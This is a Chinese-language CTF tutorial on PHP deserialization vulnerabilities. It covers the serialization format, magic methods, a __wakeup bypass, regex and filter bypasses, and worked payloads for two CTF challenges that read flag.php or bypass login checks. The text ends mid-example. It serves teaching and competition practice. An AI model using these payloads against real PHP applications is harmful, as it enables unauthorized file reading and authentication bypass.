为了方便数据存储,php通常会将数组等数据转换为序列化形式存储,那么什么是序列化呢?序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
网上有一个形象的例子,这个例子会让我们深刻的记住序列化的目的是方便数据的传输和存储。而在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
下面附一张形象的过程图。
php将数据序列化和反序列化会用到两个函数:serialize() 将对象格式化成有序的字符串unserialize() 将字符串还原成原来的对象。
php反序列化是代码审计的必要基础,同时这一知识点是ctf比赛的常备知识点。由于php对象需要表达的内容较多,所以会有一个基本类型表达的基本格式,大体分为六个类型。
布尔值(bool) | b:value-->例:b:0 |
---|---|
整数型(int) | i:value-->例:i:1 |
字符串型(str) | s:/length:"value"-->例:s:4:"aaaa" |
数组型(array) | a:/length:{key:value pairs};-->例:a:1:{i:1:/s:1:"a"} |
对象型(object) | O:<class_name_length> |
NULL型 | N |
p.s:这个表由于md的语法有点混乱,请自行把用于转义的** 和 / 屏蔽掉
完整英文版
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
php反序列化样例:
<?php class message{ public $from='d'; public $msg='m'; public $to='1'; public $token='user'; } $msg= serialize(new message); print_r($msg);
输出:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
同时需要注意:序列化后的内容只有成员变量,没有成员函数,如下例:
<?php class test{ public $a; public $b; function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";} function happy(){return $this->a;} } $a = new test(); echo serialize($a); ?>
输出:
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
通过输出结果我们可以看到,construct()和happy()函数包括函数里面的类不会被输出。
而如果变量前是protected,则会在变量名前加上x00*x00,private则会在变量名前加上x00类名x00。如以下案例:
<?php class test{ protected $a; private $b; function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";} function happy(){return $this->a;} } $a = new test(); echo serialize($a); echo urlencode(serialize($a)); ?>
输出会导致不可见字符x00的丢失,所以存储更推荐采用base64编码的形式:
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
实际的挖洞过程中经常没有合适的利用链,这需要利用php本身自带的原生类。下面介绍一些反序列化利用的魔术方法。
__wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发 __construct() //对象被创建时触发
我们前面说了如果变量前是protected,序列化结果会在变量名前加上x00*x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有x00*x00也依然会输出abc。
<?php class test{ protected $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a; } } unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}'); ?>
例题:[网鼎杯 2020 青龙组]AreUSerialz(BUUCTF)
进入题目,首先进行源码审计
<?php include("flag.php"); Highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
首先找到可利用的危险函数**file_get_content()**然后逐步回溯发现是__destruct()--> process()-->read()这样一个调用过程。
两个绕过:1.__destruct()中要求op!===2且process()中要求op==2
这样用$op=2绕过
2.绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符在32-125之外,但是对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。
最终payload:
<?php class FileHandler { public $op=2; public $filename="/var/www/html/flag.php"; public $content; } $a=new FileHandler; echo serialize($a); ?>
把payload运行后得到的序列化结果传入str得到flag:
版本:
PHP5 < 5.6.25 PHP7 < 7.0.10
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
对于下面这样一个自定义类
<?php class test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __wakeup(){ $this->a='666'; } public function __destruct(){ echo $this->a; } }
如果执行:unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666
而把对象属性个数的值增大执行:unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc。
例题:[极客大挑战 2019]PHP
题目给出提示,网站存在备份。用dirsearch扫描出存在www.zip备份文件,下载下来开始审计。
index.php里规定了反序列化的参数,而且调用了class.php
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
解题的重点看来就在class.php中了
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
审计源码我们可以得出,当username=admin且password=100时得到flag,但是 weakup()魔术方法会把username重置为guest,因此我们需要绕过weakup()。
先构造payload生成序列化字符串
<?php class Name { private $username='admin'; private $password=100; } $a=new Name; echo serialize($a); ?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
再将字符串中Name后冒号后的”2“改为”3”这样就可以触发wakeup绕过漏洞。
最终传入的序列化字符串:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
加上%00是因为username和password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失且本题的php版本低于7.1
绕过部分正则
preg_match('/^O:d+/')匹配序列化字符串是否是对象字符串开头。我们在反序列化中有两种方法绕过:
1.利用加号绕过
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过 $b = str_replace('O:4','O:+4', $a); unserialize(match($b));
2.serialize(array(a ) ) ; //a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
serialize(array($a)); unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
利用引用使两值恒等
<?php class test{ public $a; public $b; public function __construct(){ $this->a = 'abc'; $this->b= &$this->a; } public function __destruct(){ if($this->a===$this->b){ echo 666; } } } $a = serialize(new test());
上面这个例子将b设置为a的引用,可以使a永远与b相等
16进制绕过字符过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";} 可以写成 O:4:"test":2:{S:4:"